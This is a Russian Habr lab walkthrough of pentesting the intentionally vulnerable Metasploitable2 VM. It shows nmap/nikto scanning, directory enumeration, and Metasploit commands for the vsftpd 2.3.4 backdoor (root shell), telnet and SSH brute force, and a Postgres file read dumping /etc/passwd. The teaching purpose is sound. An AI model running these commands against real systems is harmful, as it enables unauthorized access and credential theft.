Всех приветствую, читатели Хабра! В сегодняшней статье я поделюсь своей базовой практикой пентеста уязвимой машины Metasploitable2. В одной из прошлых статей я уже показывал методы брутфорса данной машины. В этой статье будет ещё немного брутфорса и иных методов обнаружения и эксплуатации уязвимостей. Поднимал машину я на virtualbox. В приведенной статье я показывал как поднять машину, в этой статье я еще раз напомню как это сделать.
Примечание
Правовая информация:
Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях. Автор статьи не несет ответственности за ваши действия. Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей
Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.
И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением. Здесь я делюсь своим опытом, и не более, это своего рода онлайн-шпаргалка.
Алгоритм атаки будет следующий:
-
Загрузка образа виртуальной машины, запуск и настройка образа. Поиск системы внутри сетевого интерфейса
-
Сканирование цели
-
Энумерация
-
Непосредственно сама атака. Обнаружение и эксплуатация уязвимостей [Metasploit]. Получение доступа к системе
Итак приступим к практике
1) Загрузка образа виртуальной машины, запуск и настройка образа. Поиск системы внутри сетевого интерфейса
Скачать образ виртуальной машины можно здесь.
После скачивания откроем архив, распакуем файл с расширением vdmk, после чего открываем virtualbox создаем новую машину (New) я назвалее «1» тип Linux 64-bit. Во втором окне ничего не меняем, в третьем выбираем виртуальный жесткий диск — файл с расширением vdmk. Жмем далее, в четвертом окне заканчиваем.





Важно! Заходим в сетевые настройки машины и выбираем тот сетевой интерфейс, в котором находится атакующая ОС (Kali Linux). Поскольку я комутировал через обычный лановский порт, то и выбираю интерфейс eth0 через бридж.

Запускаем машину (зеленая стрелка).
Далее сканирую всю локальную сетку c nmap
nmap 192.168.3.0-255

Наша цель находится на ip 192.168.3.101
2) Сканирование цели
Теперь необходимо наиболее детально просканировать цель. Запускаю nmap со следующими опциями:
nmap -sS -sV -O 192.168.3.101
что помогает мне определить не только сокеты и службы, но и версии служб.

Кроме того, запускаю сканирование с whatweb и nikto
whatweb 192.168.3.101
nikto -h 192.168.3.101

Whatweb вывел информацию о системе и некоторых службах, а nikto уже на этапе сканирования выявил некоторые уязвимости CVE.
Все перечисленные действия, включая следующийшаг — энумерацию, помогают узнать больше информации о хосте, с целью поиска возможных уязвимостей и способов атаки
3) Энумерация
Провожу энумерацию. В предидущих статьях, посвященных анализу защищенности веб-приложений я объяснял что такое энумерация. Еще раз повторюсь: энумерация — процесс перебора всех возможный файлов и папок (директорий), которые имеются на целевом хосте (узле).
Приступим. Энумерацию провожу утилитами dirsearch и dirb:
dirsearch -u 192.168.3.101
dirb http://192.168.3.101





Инструменты выдали очень обширный список (CODE:200 — означает что такой адрес/каталог/файл найдены).
4) Непосредственно сама атака. Обнаружение и эксплуатация уязвимостей [Metasploit]. Получение доступа к системе
В моих примерах, для поиска и эксплуатации уязвимостей я буду использовать фреймворк metasploit. Сразу хочу сказать, что это лишь небольшая шпаргалка по metasploit, в рамках одной статьи просто невозможно описать весь фреймворк и весь его богатый функционал. И да, кроме поиска и эксплуатации уязвиостей, в некоторых примерах я получал полный доступ к системе.
Для начала зайдем в фреймворк, выполнив в терминале
msfconsole

Фреймворк запускается в терминале.
Внутри консоли возможен поиск по уязвимым службам, сокетам, ПО, ОС и даже по моделям оборудования
Поскольку на целевом хосте имеется открытй порт VNC 5900 попробуем найти уязвимость, введя в консоле
search vnc


Богатый выбор. Но меня интересует 108-ая строка. Чтобы использовать данный эксплоит просто ввожу в консоле:
use 108
Далее переходим к опциям, введя:
options
Командой
set RHOSTS 192.168.3.101
назначаем цель (можно и несколько целей, например 192.168.3.99-121) для эксплоита.
Снова проверяем options
опции, и видим что цель назначена

Далее выполним эксплоит. Выполнить эксплоит можно двумя командами — run
и exploit

Получаем вывод. Данный вывод говорит о том, что VNC-сервер доступен без аутентификации, что означает что через VNC клиент к данному хосту может подключится любой, без ввода данных аутентификации. Это серьезная уязвимость, так как она способна привести к доступу злоумышленника к системе. Этот пример с обнаружением уязвимости, но без ее эксплуатации, но вот следующая с эксплуатацией и доступом ко всей системе.
На целевом хосте имеется открытый сокет 21 с запущенной службой FTP с версией ПО vsftpd 2.3.4. Поробуем найти ее, введя в консоле:
search vsftpd 2.3.4
обнаружен один эксплоит. Используем его
use 0

Снова смотрим опции options
назначаем цель для эксплоита
set RHOSTS 192.168.3.101
и проверяем options
.

Запускаем эксплоит
exploit
и немного подождав получаем доступ ко всей системе. Данный тип уязвимости называется бэкдор (backdoor) — «задняя дверь» — удаленный доступ ко всей системе.

Как видно из скриншота, первое что я сделал — узнал от чьего имени я в системе — whoami
— root
. После чего введя pwd
и ls
я проверил текущую директорию (корневая) и папки внутри корневой директории.
Далее я вывел идентификатор пользователя командой id
и содержимое файла /etc/passwd (cat /etc/passwd
)

Далее я перешел в домашний каталог командой
cd /home
и узнал ее содержимое
ls
Теперь я точно знаю что есть пользователи msfadmin и user.

Теперь найдем в консоле уязвимости связанные с telnet, так как при сканировании выяснилось, что порт 23 открыт, и на немзапущенна служба. Введем в консоле
search telnet


Меня интересует 72-ая строка telnet_login. Испеользуем ее ии сразу посмотрим опции:
use 72
options

Как видно в опциях есть PASS_FILE и USER_FILE что означает что эксплоит производится методом брутфорса. В прошлой статье посвященной данной машине я упоминал методы брутфорса, но с помощью инструментов ncrack, hydra, medusa. В этой статье я покажу примеры брутфорса с помощью metasploit. Как видно из скриншота выше, назанчаем цель для эксплоита, бланк пароля и словари для брутфорса с логинами и паролями (в моем случае я создал небольшой словарик userpass.txt). Естественно все делаем в консоле:
set RHOSTS 192.168.3.101
set VERBOSE false
set BLANK_PASSWORDS false
set PASS_FILE /home/kali/userpass.txt
set USER_FILE /home/kali/userpass.txt
Проверяем, все ли так
options

Запускаем эксплоит
exploit

Эксплоит успешен, найдены пары логин-пароль. Как видно на скриншоте выше проверяем сессии
sessions -l
После чего выбираем первуюсессию
sessions -i 1
и получаем снова доступ

Проверяем текущую директорию pwd
— /home/msfadmin, ее содержимое — ls
, проверяем id
и выводим содержимое файла /etc/passwd (cat /etc/passwd
).
В предидущих моих статьях, посвященных безопасности веб-приложений (раз, два, три, четыре, пять) я неоднократно повторял что доступ к /etc/passwd серьезная уязвимость. Повторюсь еще раз /etc/passwd — файл, содержащий в текстовом формате список пользовательских учётных записей (аккаунтов). Является первым и основным источником информации о правах пользователя операционной системы. Существует в большинстве версий и вариантов UNIX-систем. Обязан присутствовать в POSIX-совместимой операционной системе. (https://wiki.ublinux.ru/ru/Использование/Настройка/Вводная_информация). Правда конечно в данном примере у меня доступ ко всей системе, а не к отдельному файлу, что является куда большей уязвимостью.
По аналогии можно провести брутфорс ssh
search ssh_login
use 0
options

По аналогии заполняем опции:
set RHOSTS 192.168.3.101
set VERBOSE false
set BLANK_PASSWORDS false
set PASS_FILE /home/kali/userpass.txt
set USER_FILE /home/kali/userpass.txt
Проверяем все ли верно
options

Запускаем эксплоит
exploit
И снова находим пары логин-пароль

Конечно можно провести и брутфорс сервиса ftp по аналогии с ssh и telnet, но в данном случае нет необходимости, так как по ftp и так уже обнаружен бэкдор и без брутфорса.
Metasploit способен провести и энумерацию (и даже сканирование хоста). Сейчас я приведу примеры энумерации
search dir_

use 12
12-ая строка. Снова назначаем хост, запускаем эксплоит
set RHOSTS 192.168.3.101
exploit

Как видно энумерация успешно прошла (статус кода 200), хоть и не в полном объеме.
Следующий пример энумерации
search files_dir
use 0
options
set RHOSTS 192.168.3.101

Эксплоит
exploit

Снова успешно, хоть и не так хорошо, как специализированные инструменты типа dirb.
На одном из сокетов (8180) имеется запущенная служба Apache tomcat. На ней также можно найти уязвимость
search tomcat_administration
use 0
set RHOSTS 192.168.3.101
options
exploit

Уязвимость обнаружена, без эксплуатации. В некоторых случаях злоумышленник может получить доступ к панели администрирования tomcat либо без аутентификации, либо со слабой стандартной аутентификацией, что в свою очередь может привести к утечке, либо изменению конфигурации серевера, либо к выполению кода злоумышленника, то есть последствия не предсказуемы.
Также на сервере открыт сокет 5432 с запушенным postgres. Проэксплуатируем его
search postgres_readfile
use 0
options

Назначим цель атаки и проведем эксплоит
set RHOSTS 192.168.3.101
exploit


И снова доступ к упомянутому /etc/passwd.
Само собой это не все уязвимости, обнаруженные на данной машине. Имеются и другие. Кроме того в самом фреймворке metasploit имеется множество других модулей (payloads, msfvenom и др.). Повторюсь, в рамках одной статьи невозможно описать все возможности, приемы и методы работы с фреймворком, как и невозможно в рамках одной статьи рассказать о полном пентесте (всех возможных служб) уязвимой машины. В этой статье я поделился лишь базовыми, самыми простыми, приемами работы с данным фреймворком.
А на этом у меня сегодня все, уважаемые читатели Хабра, до новых встреч!
ссылка на оригинал статьи https://habr.com/ru/articles/900414/
Добавить комментарий